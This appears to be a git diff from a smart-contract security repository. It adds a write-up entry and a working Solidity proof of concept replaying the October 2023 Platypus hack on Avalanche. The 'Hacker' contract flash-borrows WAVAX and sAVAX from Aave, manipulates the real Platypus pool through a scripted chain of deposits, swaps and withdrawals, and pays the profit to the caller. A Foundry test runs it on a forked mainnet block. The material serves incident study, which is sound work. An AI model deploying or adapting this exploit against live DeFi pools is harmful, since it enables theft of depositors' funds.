diff --git a/.gitmodules b/.gitmodules index 7261504..4f2e6cd 100644 --- a/.gitmodules +++ b/.gitmodules @@ -106,3 +106,9 @@ [submodule "foundry/lib/@solmate"] path = foundry/lib/@solmate url = https://github.com/transmissions11/solmate +[submodule "foundry/lib/aave-v3-core"] + path = foundry/lib/aave-v3-core + url = https://github.com/aave/aave-v3-core +[submodule "foundry/lib/aave-v3-periphery"] + path = foundry/lib/aave-v3-periphery + url = https://github.com/aave/aave-v3-periphery diff --git a/README.md b/README.md index 65997a6..b11634e 100644 --- a/README.md +++ b/README.md @@ -96,3 +96,12 @@ ELEVATE YOUR EVM EXPERTISE WITH HANDS-ON CHALLENGES, COMPETE ON THE LEADERBOARD, | | [11.DIVERSION](https://onlypwner.xyz/challenges/4) | ... | ... | ... | | | [12.PAYDAY](https://onlypwner.xyz/challenges/11) | ... | ... | ... | + +## Hacking Analysis + +Provide some Web3 Hack event analysis backtracking. + +| Hack | Victim | Video | Note | +| :------------------------------------------------------- | :--: | :---: | :--: | +| [20231012 - Platypus](https://mirror.xyz/leekdev.eth/RYeKmdl1rkds5IwKTw2Wnr8zLzEDug02xseUZ_wMwvA)|[Victim contract](https://snowtrace.io/address/0x4658EA7e9960D6158a261104aAA160cC953bb6ba),[Exploit transaction](https://snowtrace.io/tx/0xab5f6242fb073af1bb3cd6e891bc93d247e748a69e599a3744ff070447acb20f) | ... | ... | + diff --git a/contracts/Hack/20231012-Platypus.sol b/contracts/Hack/20231012-Platypus.sol new file mode 100644 index 0000000..94f5a73 --- /dev/null +++ b/contracts/Hack/20231012-Platypus.sol @@ -0,0 +1,252 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import { console2 } from "@dev/forge-std/src/console2.sol"; +import { WETH } from "@solady/tokens/WETH.sol"; +import { FlashLoanReceiverBase } from "@aave/v3-core/flashloan/base/FlashLoanReceiverBase.sol"; +import { IPoolAddressesProvider } from "@aave/v3-core/interfaces/IPoolAddressesProvider.sol"; + +/* + https://snowtrace.io/tx/0xab5f6242fb073af1bb3cd6e891bc93d247e748a69e599a3744ff070447acb20f + https://snowtrace.io/address/0xA2A7EE49750Ff12bb60b407da2531dB3c50A1789 #code + + forge test --match-path foundry/test/Hack/20231012-Platypus.t.sol -vvvvv +*/ + +interface IAavePool { + function flashLoan( + address receiverAddress, + address[] calldata assets, + uint256[] calldata amounts, + uint256[] calldata interestRateModes, + address onBehalfOf, + bytes calldata params, + uint16 referralCode + ) + external; +} + +// https://github.com/platypus-finance/core +interface IPlatypusAsset { + function balanceOf(address account) external view returns (uint256); + function pool() external view returns (address); + function underlyingToken() external view returns (address); + function underlyingTokenBalance() external view returns (uint256); + function cash() external view returns (uint256); + function liability() external view returns (uint256); + function totalSupply() external view returns (uint256); +} + +// https://snowtrace.io/address/0x2b2c81e08f1af8835a78bb2a90ae924ace0ea4be +interface IBenqiSAVAX { + function approve(address spender, uint256 amount) external returns (bool); + function balanceOf(address account) external view returns (uint256); + function deposit() external payable; + function withdraw(uint256 amount) external; +} + +interface IPlatypusPool { + function assetOf(address token) external view returns (address); + function deposit( + address token, + uint256 amount, + address to, + uint256 deadline + ) + external + returns (uint256 liquidity); + function withdraw( + address token, + uint256 liquidity, + uint256 minimumAmount, + address to, + uint256 deadline + ) + external + returns (uint256 amount); + function swap( + address fromToken, + address toToken, + uint256 fromAmount, + uint256 minimumToAmount, + address to, + uint256 deadline + ) + external + returns (uint256 actualToAmount, uint256 haircut); +} + +contract Hacker is FlashLoanReceiverBase { + /* + Platypus Pool sAVAX + https://snowtrace.io/address/0x4658ea7e9960d6158a261104aaa160cc953bb6ba + https://docs.platypus.finance/platypus-finance-docs/security-and-contracts/contract-addresses + */ + IPlatypusPool private poolSAvax = IPlatypusPool(0x4658EA7e9960D6158a261104aAA160cC953bb6ba); + IPlatypusAsset private poolAssetWAVAX; + IPlatypusAsset private poolAssetSAVAX; + /* + Wrapped AVAX (WAVAX) + https://snowtrace.io/address/0xB31f66AA3C1e785363F0875A1B74E27b85FD66c7 + */ + + WETH private WAVAX = WETH(payable(0xB31f66AA3C1e785363F0875A1B74E27b85FD66c7)); + /* + Staked AVAX (sAVAX) + https://snowtrace.io/address/0x2b2c81e08f1af8835a78bb2a90ae924ace0ea4be + https://vscode.blockscan.com/avalanche/0x0ce7f620eb645a4fbf688a1c1937bc6cb0cbdd29 + */ + IBenqiSAVAX private SAVAX = IBenqiSAVAX(payable(0x2b2C81e08f1Af8835a78Bb2A90AE924ACE0eA4bE)); + + /* + Aave: Pool V3 FlashLoan + https://snowtrace.io/address/0x794a61358d6845594f94dc1db02a252b5b4814ad + */ + IAavePool private aavePoolV3 = IAavePool(0x794a61358D6845594F94dc1DB02A252b5b4814aD); + + address[] private _assets; + uint256[] private _amounts; + uint256[] private _interestRateModes; + // https://snowtrace.io/address/0xa97684ead0e402dC232d5A977953DF7ECBaB3CDb#code + address private poolAddressesProvider = 0xa97684ead0e402dC232d5A977953DF7ECBaB3CDb; + address private attacker; + + constructor() FlashLoanReceiverBase(IPoolAddressesProvider(poolAddressesProvider)) { + poolAssetWAVAX = IPlatypusAsset(poolSAvax.assetOf(address(WAVAX))); + poolAssetSAVAX = IPlatypusAsset(poolSAvax.assetOf(address(SAVAX))); + console2.log("poolAssetWAVAX", address(poolAssetWAVAX), "poolAssetAVAX", address(poolAssetSAVAX)); + attacker = msg.sender; + _log("constructor"); + } + + function attack() public payable { + _log("Before_Attack1"); + uint256 _aaveWAVAX = WAVAX.balanceOf(address(aavePoolV3)); + uint256 _attackerWAVAX = WAVAX.balanceOf(address(this)); + uint256 _attackerSAVAX = SAVAX.balanceOf(address(this)); + uint256 _LP_WAVAX = WAVAX.balanceOf(address(poolAssetWAVAX)); + uint256 _LP_SAVAX = SAVAX.balanceOf(address(poolAssetSAVAX)); + + SAVAX.approve(address(aavePoolV3), type(uint256).max); + WAVAX.approve(address(aavePoolV3), type(uint256).max); + SAVAX.approve(address(poolSAvax), type(uint256).max); + WAVAX.approve(address(poolSAvax), type(uint256).max); + + // flashLoan + _assets.push(address(WAVAX)); + _assets.push(address(SAVAX)); + _amounts.push(1_100_000 * 1e18); + _amounts.push(991_589_030_408_934_949_444_991); + _interestRateModes.push(0); + _interestRateModes.push(0); + _log("Before_flashLoan"); + aavePoolV3.flashLoan(address(this), _assets, _amounts, _interestRateModes, address(this), "", 0); + _log("After_flashLoan"); + + // deal attack profit + poolSAvax.swap(address(SAVAX), address(WAVAX), 20_090 ether, 0, address(this), block.timestamp + 1000); + WAVAX.withdraw(WAVAX.balanceOf(address(this))); + + _log("After_Attack"); + console2.log(); + console2.log("AAVE WAVAX Incr", (WAVAX.balanceOf(address(aavePoolV3)) - _aaveWAVAX) / 1e18); + console2.log("Attacker WAVAX Incr", (WAVAX.balanceOf(address(this)) - _attackerWAVAX) / 1e18); + console2.log("Attacker SAVAX Incr", (SAVAX.balanceOf(address(this)) - _attackerSAVAX) / 1e18); + console2.log("LP_WAVAX WAVAX Decr", (_LP_WAVAX - SAVAX.balanceOf(address(poolAssetWAVAX))) / 1e18); + console2.log("LP_WAVAX SAVAX Decr", (_LP_SAVAX - SAVAX.balanceOf(address(poolAssetSAVAX))) / 1e18); + + (bool isSuccess,) = msg.sender.call{ value: address(this).balance }(""); + require(isSuccess, ""); + } + + function executeOperation( + address[] calldata assets, + uint256[] calldata amounts, + uint256[] calldata, + address, + bytes calldata + ) + external + override + returns (bool) + { + uint256 dTime = block.timestamp + 1000; + require(assets.length == 2, "assets not equal"); + _log("Enter_FlashLoan"); + + poolSAvax.deposit(address(WAVAX), amounts[0], address(this), dTime); + poolSAvax.deposit(address(SAVAX), amounts[1] / 3, address(this), dTime); + _log("After_Deposit"); + + (uint256 actualToAmount, uint256 haircut) = + poolSAvax.swap(address(SAVAX), address(WAVAX), 600_000 ether, 0, address(this), dTime); + _log("swap(SAVAX,WAVAX,600_000)"); + console2.log("poolSAvax.swap actualToAmount:%d haircut:%d", actualToAmount / 1e18, haircut / 1e18); + + uint256 amount = poolSAvax.withdraw(address(WAVAX), 1_020_000 ether, 0, address(this), dTime); + _log("withdraw(WAVAX,1_020_000)"); + console2.log("poolSAvax.withdraw amount:%d ", amount / 1e18); + + (actualToAmount, haircut) = + poolSAvax.swap(address(WAVAX), address(SAVAX), 1_400_000 ether, 0, address(this), dTime); + _log("swap(WAVAX,SAVAX,1_400_000)"); + console2.log("poolSAvax.swap actualToAmount:%d haircut:%d", actualToAmount / 1e18, haircut / 1e18); + + amount = poolSAvax.withdraw(address(WAVAX), poolAssetWAVAX.balanceOf(address(this)), 0, address(this), dTime); + _log("withdraw(WAVAX,poolAssetWAVAX.balanceOf(address(this)))"); + console2.log("poolSAvax.withdraw amount:%d ", amount / 1e18); + + (actualToAmount, haircut) = + poolSAvax.swap(address(SAVAX), address(WAVAX), 700_000 ether, 0, address(this), dTime); + _log("swap(SAVAX,WAVAX,700_000)"); + console2.log("poolSAvax.swap actualToAmount:%d haircut:%d", actualToAmount / 1e18, haircut / 1e18); + + amount = poolSAvax.withdraw(address(SAVAX), poolAssetSAVAX.balanceOf(address(this)), 0, address(this), dTime); + _log("withdraw(SAVAX,poolAssetSAVAX.balanceOf(address(this)))"); + console2.log("poolSAvax.withdraw amount:%d ", amount / 1e18); + + (actualToAmount, haircut) = + poolSAvax.swap(address(SAVAX), address(WAVAX), 70_000 ether, 0, address(this), dTime); + _log("swap(SAVAX,WAVAX,70_000)"); + console2.log("poolSAvax.swap actualToAmount:%d haircut:%d", actualToAmount / 1e18, haircut / 1e18); + + return true; + } + + function _log(string memory _msg) public view { + console2.log(); + console2.log("-----------%s-----------", _msg); + console2.log("Attacker Address: %s AVAX: %d", attacker, address(this).balance / 1e18); + console2.log( + "Attacker WAVAX: %d SAVAX: %d", WAVAX.balanceOf(address(this)) / 1e18, SAVAX.balanceOf(address(this)) / 1e18 + ); + console2.log( + "Platypus Assets WAVAX asset.totalSupply: %d , asset.cash: %d , asset.liability: %d", + poolAssetWAVAX.totalSupply() / 1e18, + poolAssetWAVAX.cash() / 1e18, + poolAssetWAVAX.liability() / 1e18 + ); + console2.log( + "Platypus Assets SAVAX asset.totalSupply: %d , asset.cash: %d , asset.liability: %d", + poolAssetSAVAX.totalSupply() / 1e18, + poolAssetSAVAX.cash() / 1e18, + poolAssetSAVAX.liability() / 1e18 + ); + + console2.log( + "Platypus Assets Cash/liability WAVAX:%d Liability WAVAX:%d", + poolAssetWAVAX.cash() * poolAssetWAVAX.liability() / 1e45, + poolAssetSAVAX.cash() * poolAssetSAVAX.liability() / 1e45 + ); + console2.log( + "Platypus Assets Cash WAVAX*SAVA:%d Liability WAVAX*SAVA:%d", + poolAssetWAVAX.cash() * poolAssetSAVAX.cash() / 1e45, + poolAssetWAVAX.liability() * poolAssetSAVAX.liability() / 1e45 + ); + console2.log("Attacker Platypus Pool LP-WAVAX", poolAssetWAVAX.balanceOf(address(this)) / 1e18); + console2.log("Attacker Platypus Pool LP-sAVAX", poolAssetSAVAX.balanceOf(address(this)) / 1e18); + // console2.log(); + } + + receive() external payable { } +} diff --git a/foundry.toml b/foundry.toml index c078512..a915eff 100644 --- a/foundry.toml +++ b/foundry.toml @@ -18,7 +18,7 @@ out = "foundry/out" broadcast = 'foundry/broadcast' cache_path = 'foundry/cache' - + [profile.ci] fuzz = { runs = 10_000 } @@ -52,7 +52,7 @@ goerli = "https://eth-goerli.g.alchemy.com/v2/${API_KEY_ALCHEMY}" sepolia = "https://eth-sepolia.g.alchemy.com/v2/${API_KEY_ALCHEMY}" holesky = "https://ethereum-holesky.publicnode.com" - + polygon = "https://polygon-mainnet.g.alchemy.com/v2/${API_KEY_ALCHEMY}" mumbai = "https://polygon-mumbai.g.alchemy.com/v2/${API_KEY_ALCHEMY}" @@ -65,3 +65,6 @@ optimism_mainnet = "https://opt-mainnet.g.alchemy.com/v2/${API_KEY_ALCHEMY}" optimism_goerli = "https://opt-goerli.g.alchemy.com/v2/${API_KEY_ALCHEMY}" + + avalanche_mainnet = "https://rpc.ankr.com/avalanche" + avalanche_fuji = "https://rpc.ankr.com/avalanche_fuji" diff --git a/foundry/lib/aave-v3-core b/foundry/lib/aave-v3-core new file mode 160000 index 0000000..6070e82 --- /dev/null +++ b/foundry/lib/aave-v3-core @@ -0,0 +1 @@ +Subproject commit 6070e82d962d9b12835c88e68210d0e63f08d035 diff --git a/foundry/lib/aave-v3-periphery b/foundry/lib/aave-v3-periphery new file mode 160000 index 0000000..72fdcca --- /dev/null +++ b/foundry/lib/aave-v3-periphery @@ -0,0 +1 @@ +Subproject commit 72fdcca18838c2f4e05ecd25bbfb44f0db5383f7 diff --git a/foundry/test/CTF/Damn-Vulnerable-DeFi/11.Backdoor.t.sol b/foundry/test/CTF/Damn-Vulnerable-DeFi/11.Backdoor.t.sol index f5a720f..51895fd 100644 --- a/foundry/test/CTF/Damn-Vulnerable-DeFi/11.Backdoor.t.sol +++ b/foundry/test/CTF/Damn-Vulnerable-DeFi/11.Backdoor.t.sol @@ -31,6 +31,10 @@ contract Challenge_11_Backdoor_Test is Test { WalletRegistry private walletRegistry; function setUp() public { + vm.label(alice, "alice"); + vm.label(bob, "bob"); + vm.label(charlie, "charlie"); + vm.label(david, "david"); vm.deal(deployer, type(uint256).max); _before(); // vm.stopPrank(); @@ -43,10 +47,6 @@ contract Challenge_11_Backdoor_Test is Test { walletFactory = new GnosisSafeProxyFactory(); token = new DamnValuableToken(); - vm.label(alice, "alice"); - vm.label(bob, "bob"); - vm.label(charlie, "charlie"); - vm.label(david, "david"); _initialBeneficiaries.push(alice); _initialBeneficiaries.push(bob); _initialBeneficiaries.push(charlie); @@ -54,9 +54,10 @@ contract Challenge_11_Backdoor_Test is Test { walletRegistry = new WalletRegistry(address(masterCopy),address(walletFactory), address(token), _initialBeneficiaries); + assertEq(walletRegistry.owner(), deployer, ""); + token.transfer(address(walletRegistry), AMOUNT_TOKENS_DISTRIBUTED); - assertEq(walletRegistry.owner(), deployer, ""); for (uint256 i = 0; i < _initialBeneficiaries.length; i++) { assertTrue(walletRegistry.beneficiaries(_initialBeneficiaries[i]), ""); vm.startPrank(_initialBeneficiaries[i]); diff --git a/foundry/test/Hack/20231012-Platypus.t.sol b/foundry/test/Hack/20231012-Platypus.t.sol new file mode 100644 index 0000000..f5f0367 --- /dev/null +++ b/foundry/test/Hack/20231012-Platypus.t.sol @@ -0,0 +1,33 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import { Test } from "@dev/forge-std/src/Test.sol"; +// import { console2 } from "@dev/forge-std/src/console2.sol"; +import { Hacker } from "@contracts/Hack/20231012-Platypus.sol"; + +/* + forge test --match-path foundry/test/Hack/20231012-Platypus.t.sol -vvvvv +*/ + +contract Platypus_Attacker_20231012_Test is Test { + // hacking attack address + address private player = address(1); + + function setUp() public { + // vm.deal(player, 10_000 ether); + vm.createSelectFork({ urlOrAlias: "avalanche_mainnet", blockNumber: 36_341_514 }); + // vm.createSelectFork({ urlOrAlias: "avalanche_mainnet" }); + + vm.label(0xB31f66AA3C1e785363F0875A1B74E27b85FD66c7, "Wrapped AVAX"); + vm.label(0x2b2C81e08f1Af8835a78Bb2A90AE924ACE0eA4bE, "Staked AVAX"); + + vm.label(0xA2A7EE49750Ff12bb60b407da2531dB3c50A1789, "LP-SAVAX"); + vm.label(0xC73eeD4494382093C6a7C284426A9a00f6C79939, "LP-AVAX"); + } + + function test_Exploit() public { + vm.startPrank(player); + Hacker hackInst = new Hacker(); + hackInst.attack(); + } +} diff --git a/remappings.txt b/remappings.txt index 0b84ddc..696d78c 100644 --- a/remappings.txt +++ b/remappings.txt @@ -13,3 +13,5 @@ @openzeppelin/contracts-v4.7.3=foundry/lib/@openzeppelin/contracts-v4.7.3/contracts @openzeppelin/contracts-upgradeable-v4.7.1=foundry/lib/@openzeppelin/contracts-upgradeable-v4.7.1/contracts +@aave/v3-core=foundry/lib/aave-v3-core/contracts +@aave/v3-periphery=foundry/lib/aave-v3-periphery/contracts